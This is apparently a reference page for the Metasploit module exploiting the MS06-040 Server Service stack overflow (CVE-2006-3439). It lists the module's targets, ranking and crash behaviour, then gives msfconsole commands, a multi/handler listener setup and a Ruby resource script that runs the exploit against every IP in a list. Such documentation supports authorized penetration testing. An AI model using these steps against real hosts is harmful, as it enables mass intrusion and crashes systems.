Module Overview


Name: MS06-040 Microsoft Server Service NetpwPathCanonicalize Overflow
Module: exploit/windows/smb/ms06_040_netapi
Source code: modules/exploits/windows/smb/ms06_040_netapi.rb
Disclosure date: 2006-08-08
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: microsoft-ds, netbios-ssn
Target network port(s): 139, 445
List of CVEs: CVE-2006-3439

This module exploits a stack buffer overflow in the NetApi32 CanonicalizePathName() function using the NetpwPathCanonicalize RPC call in the Server Service. It is likely that other RPC calls could be used to exploit this service. This exploit will result in a denial of service on Windows XP SP2 or Windows 2003 SP1. A failed exploit attempt will likely result in a complete reboot on Windows 2000 and the termination of all SMB-related services on Windows XP. The default target for this exploit should succeed on Windows NT 4.0, Windows 2000 SP0-SP4+, Windows XP SP0-SP1 and Windows 2003 SP0.

Module Ranking and Traits


Module Ranking:

  • good: The exploit has a default target and it is the "common case" for this type of software (English, Windows 7 for a desktop app, 2012 for server, etc). More information about ranking can be found here.

Reliability:

  • unreliable-session: The module isn't expected to get a shell reliably (such as only once).

Stability:

  • crash-os-restarts: Module may crash the OS, but the OS restarts.
  • crash-service-down: Module may crash the service, and the service remains down.

Basic Usage


Using ms06_040_netapi against a single host

Normally, you can use exploit/windows/smb/ms06_040_netapi this way:

msf > use exploit/windows/smb/ms06_040_netapi
msf exploit(ms06_040_netapi) > show targets
    ... a list of targets ...
msf exploit(ms06_040_netapi) > set TARGET target-id
msf exploit(ms06_040_netapi) > show options
    ... show and set options ...
msf exploit(ms06_040_netapi) > exploit

Using ms06_040_netapi against multiple hosts

But it looks like this is a remote exploit module, which means you can also engage multiple hosts.

First, create a list of IPs you wish to exploit with this module. One IP per line.

Second, set up a background payload listener. This payload should be the same as the one your ms06_040_netapi will be using:

  1. Do: use exploit/multi/handler
  2. Do: set PAYLOAD [payload]
  3. Set other options required by the payload
  4. Do: set EXITONSESSION false
  5. Do: run -j

At this point, you should have a payload listening.

Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:

<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'

File.open(ip_list, 'rb').each_line do |ip|
  print_status("Trying against #{ip}")
  run_single("use exploit/windows/smb/ms06_040_netapi")
  run_single("set RHOST #{ip}")
  run_single("set DisablePayloadHandler true")

  #
  # Set a payload that's the same as the handler.
  # You might also need to add more run_single commands to configure other
  # payload options.
  #
  run_single("set PAYLOAD [payload name]")

  run_single("run")
end
</ruby>

Next, run the resource script in the console:

msf > resource [path-to-resource-script]

And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:

msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
